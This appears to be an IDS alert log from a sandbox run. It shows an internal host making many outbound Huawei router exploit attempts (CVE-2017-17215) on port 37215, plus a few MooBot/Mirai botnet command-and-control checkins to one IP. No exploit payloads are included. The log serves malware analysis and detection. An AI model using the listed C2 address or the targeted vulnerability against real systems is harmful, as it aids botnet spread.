2024-08-06T08:33:19.639404+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48888	37215	192.168.2.14	41.126.237.119
2024-08-06T08:33:19.313554+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51722	37215	192.168.2.14	156.60.205.144
2024-08-06T08:33:00.256834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58810	37215	192.168.2.14	41.175.207.136
2024-08-06T08:33:19.294074+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57086	37215	192.168.2.14	41.3.58.68
2024-08-06T08:33:19.234719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53130	37215	192.168.2.14	41.226.196.102
2024-08-06T08:33:19.268575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44956	37215	192.168.2.14	156.95.131.110
2024-08-06T08:33:19.643460+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35842	37215	192.168.2.14	156.146.161.140
2024-08-06T08:33:19.250496+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38670	37215	192.168.2.14	156.220.29.16
2024-08-06T08:33:20.926100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39924	37215	192.168.2.14	197.19.75.39
2024-08-06T08:33:19.287627+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42906	37215	192.168.2.14	156.45.179.57
2024-08-06T08:33:17.822151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47016	37215	192.168.2.14	197.158.19.36
2024-08-06T08:33:19.361231+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42256	37215	192.168.2.14	197.170.123.35
2024-08-06T08:33:19.637142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33062	37215	192.168.2.14	41.247.194.250
2024-08-06T08:33:19.232536+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52202	37215	192.168.2.14	197.38.129.206
2024-08-06T08:33:19.299479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34070	37215	192.168.2.14	41.38.241.60
2024-08-06T08:33:19.250614+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40484	37215	192.168.2.14	197.202.46.32
2024-08-06T08:33:00.051995+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43240	37215	192.168.2.14	41.180.58.253
2024-08-06T08:33:19.216929+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45026	37215	192.168.2.14	156.49.6.9
2024-08-06T08:33:19.235051+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34850	37215	192.168.2.14	197.216.33.121
2024-08-06T08:33:19.360891+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54878	37215	192.168.2.14	41.84.239.116
2024-08-06T08:33:20.942211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51604	37215	192.168.2.14	197.254.175.110
2024-08-06T08:33:19.218635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33714	37215	192.168.2.14	197.14.35.101
2024-08-06T08:33:19.246223+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38072	37215	192.168.2.14	156.222.74.186
2024-08-06T08:33:20.938088+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41068	37215	192.168.2.14	41.52.78.180
2024-08-06T08:33:20.950197+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37328	37215	192.168.2.14	197.32.32.223
2024-08-06T08:33:19.295342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43792	37215	192.168.2.14	197.220.115.179
2024-08-06T08:33:19.636076+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39016	37215	192.168.2.14	156.127.251.19
2024-08-06T08:33:04.056496+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51376	37215	192.168.2.14	197.96.163.90
2024-08-06T08:33:20.926134+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51268	37215	192.168.2.14	197.132.11.69
2024-08-06T08:33:19.311715+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56304	37215	192.168.2.14	156.226.194.179
2024-08-06T08:33:17.822149+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37882	37215	192.168.2.14	156.77.16.15
2024-08-06T08:33:19.269257+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47950	37215	192.168.2.14	197.229.89.107
2024-08-06T08:33:20.942127+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36220	37215	192.168.2.14	41.186.36.229
2024-08-06T08:33:19.639582+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50348	37215	192.168.2.14	197.201.240.82
2024-08-06T08:33:19.347749+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53150	37215	192.168.2.14	156.196.237.33
2024-08-06T08:33:19.249590+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53836	37215	192.168.2.14	41.99.158.148
2024-08-06T08:33:19.233387+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60052	37215	192.168.2.14	156.183.46.173
2024-08-06T08:33:19.640008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48688	37215	192.168.2.14	197.243.147.108
2024-08-06T08:33:19.657702+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58266	37215	192.168.2.14	156.206.209.219
2024-08-06T08:33:20.938132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47486	37215	192.168.2.14	41.8.113.216
2024-08-06T08:33:20.942081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51454	37215	192.168.2.14	41.245.156.218
2024-08-06T08:33:19.268441+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54844	37215	192.168.2.14	41.42.85.198
2024-08-06T08:33:17.818178+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58786	37215	192.168.2.14	41.39.12.181
2024-08-06T08:33:19.289809+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60216	37215	192.168.2.14	197.28.182.242
2024-08-06T08:33:19.230315+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42842	37215	192.168.2.14	156.201.149.51
2024-08-06T08:33:20.942124+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39848	37215	192.168.2.14	197.72.249.206
2024-08-06T08:33:19.251684+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38808	37215	192.168.2.14	156.5.79.218
2024-08-06T08:33:19.299952+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37148	37215	192.168.2.14	41.51.78.43
2024-08-06T08:33:20.946051+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40392	37215	192.168.2.14	197.218.138.255
2024-08-06T08:33:20.938046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58954	37215	192.168.2.14	156.247.182.236
2024-08-06T08:33:19.622695+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60082	37215	192.168.2.14	41.61.105.166
2024-08-06T08:33:20.942123+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55668	37215	192.168.2.14	41.252.199.111
2024-08-06T08:33:19.248741+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57750	37215	192.168.2.14	197.39.222.191
2024-08-06T08:33:19.265840+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60754	37215	192.168.2.14	41.162.103.68
2024-08-06T08:33:19.269256+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48166	37215	192.168.2.14	197.104.64.187
2024-08-06T08:33:19.640476+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34840	37215	192.168.2.14	156.115.124.112
2024-08-06T08:33:19.230870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56918	37215	192.168.2.14	41.21.190.34
2024-08-06T08:33:19.269339+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48180	37215	192.168.2.14	156.94.250.60
2024-08-06T08:33:21.402258+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39346	37215	192.168.2.14	156.121.124.148
2024-08-06T08:33:20.938133+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48528	37215	192.168.2.14	156.169.123.156
2024-08-06T08:33:19.309983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55848	37215	192.168.2.14	156.118.71.208
2024-08-06T08:33:19.623036+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60190	37215	192.168.2.14	197.246.49.210
2024-08-06T08:33:19.232323+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40768	37215	192.168.2.14	41.196.151.196
2024-08-06T08:33:19.289810+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49832	37215	192.168.2.14	156.83.69.150
2024-08-06T08:33:20.950279+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51366	37215	192.168.2.14	197.136.17.20
2024-08-06T08:33:19.236763+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52702	37215	192.168.2.14	197.228.21.108
2024-08-06T08:33:20.938090+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38374	37215	192.168.2.14	197.17.230.208
2024-08-06T08:33:19.282724+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59768	37215	192.168.2.14	156.135.80.58
2024-08-06T08:33:19.199363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44544	37215	192.168.2.14	197.157.57.38
2024-08-06T08:33:19.217061+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36250	37215	192.168.2.14	41.154.221.237
2024-08-06T08:33:19.266862+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57354	37215	192.168.2.14	41.34.23.164
2024-08-06T08:33:19.627006+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52128	37215	192.168.2.14	197.123.250.251
2024-08-06T08:33:20.926180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48972	37215	192.168.2.14	156.87.152.96
2024-08-06T08:33:19.295979+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53042	37215	192.168.2.14	41.85.183.189
2024-08-06T08:33:20.938047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32950	37215	192.168.2.14	156.232.249.220
2024-08-06T08:33:19.266009+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48930	37215	192.168.2.14	197.210.183.23
2024-08-06T08:33:19.283528+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56894	37215	192.168.2.14	41.75.95.48
2024-08-06T08:33:19.641593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53542	37215	192.168.2.14	156.38.36.98
2024-08-06T08:33:20.946065+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44336	37215	192.168.2.14	156.123.145.69
2024-08-06T08:33:17.814338+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47306	37215	192.168.2.14	41.126.103.42
2024-08-06T08:33:17.814295+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35264	37215	192.168.2.14	41.144.57.192
2024-08-06T08:33:19.289924+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44062	37215	192.168.2.14	41.241.250.246
2024-08-06T08:33:19.295701+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59714	37215	192.168.2.14	197.184.42.189
2024-08-06T08:33:19.624430+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43938	37215	192.168.2.14	41.126.48.149
2024-08-06T08:33:20.942057+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35898	37215	192.168.2.14	197.51.154.85
2024-08-06T08:33:19.285489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42878	37215	192.168.2.14	41.217.111.255
2024-08-06T08:33:20.938113+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50764	37215	192.168.2.14	197.100.253.74
2024-08-06T08:33:23.373173+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58012	37215	192.168.2.14	41.43.16.56
2024-08-06T08:33:19.329770+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39872	37215	192.168.2.14	156.151.233.217
2024-08-06T08:33:20.946022+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43056	37215	192.168.2.14	197.50.53.98
2024-08-06T08:33:20.950158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49068	37215	192.168.2.14	156.33.107.238
2024-08-06T08:33:17.822163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39632	37215	192.168.2.14	156.15.177.26
2024-08-06T08:33:19.282717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43498	37215	192.168.2.14	41.158.83.113
2024-08-06T08:33:20.950245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47420	37215	192.168.2.14	41.48.87.163
2024-08-06T08:33:19.297066+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40218	37215	192.168.2.14	41.225.151.149
2024-08-06T08:33:19.292140+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41022	37215	192.168.2.14	41.242.100.27
2024-08-06T08:33:19.315296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55438	37215	192.168.2.14	41.17.186.253
2024-08-06T08:33:19.267431+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40264	37215	192.168.2.14	156.198.249.101
2024-08-06T08:33:17.814294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57830	37215	192.168.2.14	41.128.196.111
2024-08-06T08:33:19.198779+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52772	37215	192.168.2.14	41.146.232.115
2024-08-06T08:33:23.491050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38506	37215	192.168.2.14	41.169.215.186
2024-08-06T08:33:19.297152+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56768	37215	192.168.2.14	197.229.186.220
2024-08-06T08:33:19.609612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53660	37215	192.168.2.14	41.83.20.241
2024-08-06T08:33:19.287918+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35260	37215	192.168.2.14	156.83.38.198
2024-08-06T08:33:20.946066+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46298	37215	192.168.2.14	156.31.186.195
2024-08-06T08:33:19.298047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36966	37215	192.168.2.14	41.168.55.54
2024-08-06T08:33:19.625836+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46238	37215	192.168.2.14	41.249.148.178
2024-08-06T08:33:20.942058+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54208	37215	192.168.2.14	156.99.182.216
2024-08-06T08:33:20.946025+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37692	37215	192.168.2.14	156.192.7.65
2024-08-06T08:33:19.296040+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50328	37215	192.168.2.14	156.210.44.233
2024-08-06T08:33:19.297062+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56762	37215	192.168.2.14	197.77.215.2
2024-08-06T08:33:19.624769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50514	37215	192.168.2.14	156.191.143.79
2024-08-06T08:33:20.938116+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39092	37215	192.168.2.14	197.89.220.28
2024-08-06T08:33:20.930100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48358	37215	192.168.2.14	197.224.86.246
2024-08-06T08:33:19.293593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39430	37215	192.168.2.14	41.47.235.221
2024-08-06T08:33:20.946068+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60716	37215	192.168.2.14	41.64.64.86
2024-08-06T08:33:19.284980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36302	37215	192.168.2.14	156.243.95.77
2024-08-06T08:33:19.266965+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49550	37215	192.168.2.14	156.146.138.56
2024-08-06T08:33:19.286125+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49078	37215	192.168.2.14	41.81.246.30
2024-08-06T08:33:19.327534+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36340	37215	192.168.2.14	41.96.92.153
2024-08-06T08:33:19.640609+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52110	37215	192.168.2.14	156.3.234.130
2024-08-06T08:33:19.347867+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49902	37215	192.168.2.14	156.177.204.221
2024-08-06T08:33:19.627290+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46490	37215	192.168.2.14	197.148.25.151
2024-08-06T08:33:19.621613+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51716	37215	192.168.2.14	156.110.107.187
2024-08-06T08:33:19.657601+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34230	37215	192.168.2.14	197.88.121.9
2024-08-06T08:33:19.622253+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33674	37215	192.168.2.14	41.132.244.189
2024-08-06T08:33:19.297574+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60224	37215	192.168.2.14	197.112.240.90
2024-08-06T08:33:19.233151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40490	37215	192.168.2.14	156.227.117.100
2024-08-06T08:33:13.093524+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	44594	56999	192.168.2.14	154.216.17.9
2024-08-06T08:33:19.253505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46704	37215	192.168.2.14	156.20.59.113
2024-08-06T08:33:17.814339+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49292	37215	192.168.2.14	156.190.145.133
2024-08-06T08:33:20.930101+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57220	37215	192.168.2.14	197.183.140.161
2024-08-06T08:33:19.218762+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45330	37215	192.168.2.14	41.218.183.57
2024-08-06T08:33:19.643300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35802	37215	192.168.2.14	156.165.159.159
2024-08-06T08:33:19.544293+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45542	37215	192.168.2.14	156.9.49.106
2024-08-06T08:33:19.297149+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50104	37215	192.168.2.14	41.139.158.191
2024-08-06T08:33:19.292997+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36268	37215	192.168.2.14	41.234.139.223
2024-08-06T08:33:19.282761+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60530	37215	192.168.2.14	197.52.174.50
2024-08-06T08:33:20.942098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57566	37215	192.168.2.14	197.248.247.37
2024-08-06T08:32:56.843389+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	57992	56999	192.168.2.14	154.216.17.9
2024-08-06T08:33:00.460406+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	33166	56999	192.168.2.14	154.216.17.9
2024-08-06T08:33:19.233611+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35450	37215	192.168.2.14	197.178.231.23
2024-08-06T08:33:19.330190+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52882	37215	192.168.2.14	41.207.104.124
2024-08-06T08:33:20.934025+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51486	37215	192.168.2.14	41.177.58.191
2024-08-06T08:33:19.246723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39274	37215	192.168.2.14	41.64.229.92
2024-08-06T08:33:20.942180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38536	37215	192.168.2.14	156.227.16.3
2024-08-06T08:33:19.312858+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55402	37215	192.168.2.14	197.132.30.188
2024-08-06T08:33:17.814344+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56754	37215	192.168.2.14	156.165.153.109
2024-08-06T08:33:17.822158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57836	37215	192.168.2.14	41.113.242.239
2024-08-06T08:33:19.608126+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44138	37215	192.168.2.14	156.240.242.22
2024-08-06T08:33:17.814342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52662	37215	192.168.2.14	197.234.85.63
2024-08-06T08:33:19.638910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41196	37215	192.168.2.14	156.239.82.241
2024-08-06T08:33:17.814299+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60270	37215	192.168.2.14	41.198.134.80
2024-08-06T08:33:19.230544+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54080	37215	192.168.2.14	156.78.201.98
2024-08-06T08:33:19.215980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58684	37215	192.168.2.14	156.243.120.101
2024-08-06T08:33:20.938077+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57614	37215	192.168.2.14	41.115.118.2
2024-08-06T08:33:19.290566+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41660	37215	192.168.2.14	156.213.90.130
2024-08-06T08:33:19.266913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48876	37215	192.168.2.14	41.69.62.137
2024-08-06T08:33:19.315205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46410	37215	192.168.2.14	41.67.69.204
2024-08-06T08:33:20.950207+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51622	37215	192.168.2.14	41.241.21.104
2024-08-06T08:33:19.315585+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53476	37215	192.168.2.14	156.99.80.91
2024-08-06T08:33:20.926124+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59812	37215	192.168.2.14	41.121.87.211
2024-08-06T08:33:19.235668+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42098	37215	192.168.2.14	41.156.102.139
2024-08-06T08:33:19.610555+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42962	37215	192.168.2.14	156.46.53.169
2024-08-06T08:33:19.288219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44302	37215	192.168.2.14	156.99.124.37
2024-08-06T08:33:19.233955+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57802	37215	192.168.2.14	197.104.24.129
